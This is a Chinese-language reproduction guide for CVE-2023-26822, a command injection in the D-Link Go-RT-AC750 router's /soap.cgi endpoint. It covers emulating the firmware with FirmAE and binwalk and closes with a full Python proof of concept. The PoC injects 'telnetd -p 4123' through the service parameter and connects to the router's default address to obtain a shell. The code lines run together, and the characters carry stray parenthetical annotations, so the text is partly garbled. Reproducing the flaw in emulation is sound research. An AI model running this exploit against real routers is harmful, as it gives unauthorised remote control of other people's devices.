D-Link Go-RT-AC750是一款雙頻無(wú)線路由器。D-Link Go-RT-AC750在固件版本為revA_v101b03中存在命令注入漏洞,漏洞編號(hào):CVE-2023-26822。未經(jīng)授權(quán)的攻擊者可以請(qǐng)求 /soap.cgi 路由通過(guò)攜帶的參數(shù)進(jìn)行命令拼接,從而控制路由器。
1.FirmAE 工具安裝;首先拉取FirmAE 工具倉(cāng)庫(kù)
git clone --recursive https://github.com/pr0v3rbs/FirmAE
運(yùn)行下載腳本;

運(yùn)行./install.sh進(jìn)行安裝

2.下載固件
本文模擬的是設(shè)備型號(hào)為Go-RT-AC750,固件版本:revA_v101b03
下載地址:
https://eu.dlink.com/uk/en/products/go-rt-ac750-wireless-ac750-dual-band-easy-
下載后得到GORTAC750_A1_FW_v101b03.bin固件文件

3.FirmAE工具初始化
在FirmAE工具目錄下執(zhí)行./init.sh進(jìn)行初始化

4.安裝binwalk
這里使用FirmAE工具目錄下的binwalk安裝程序進(jìn)行安裝
cd binwalk-2.3.3/
python3 setup.py install

5.模擬運(yùn)行固件
執(zhí)行如下命令對(duì)固件進(jìn)行解壓
binwalk -Me /root/GORTAC750_A1_FW_v101b03.bin --run-as=root

執(zhí)行如下命令來(lái)模擬運(yùn)行固件
sudo ./run.sh -r GORTAC750 /root/GORTAC750_A1_FW_v101b03.bin
使用瀏覽器訪問(wèn)http://192.168.0.1,出現(xiàn)如下界面則表明成功模擬了一臺(tái)D-Link Go-RT-AC750路由器

POC內(nèi)容如下:
from socket import *from os import *from time import *
request = b"POST /soap.cgi?service=&&telnetd -p 4123& HTTP/1.1\r\n"request += b"Host: localhost:49152\r\n"request += b"Content-Type: text/xml\r\n"request += b"Content-Length: 88\r\n"request += b"SOAPAction: a#b\r\n\r\n" s = socket(AF_INET, SOCK_STREAM)s.connect((gethostbyname("192.168.0.1"), 49152))s.send(request) sleep(10)system('telnet 192.168.0.1 4123')
執(zhí)行POC,成功獲取shell.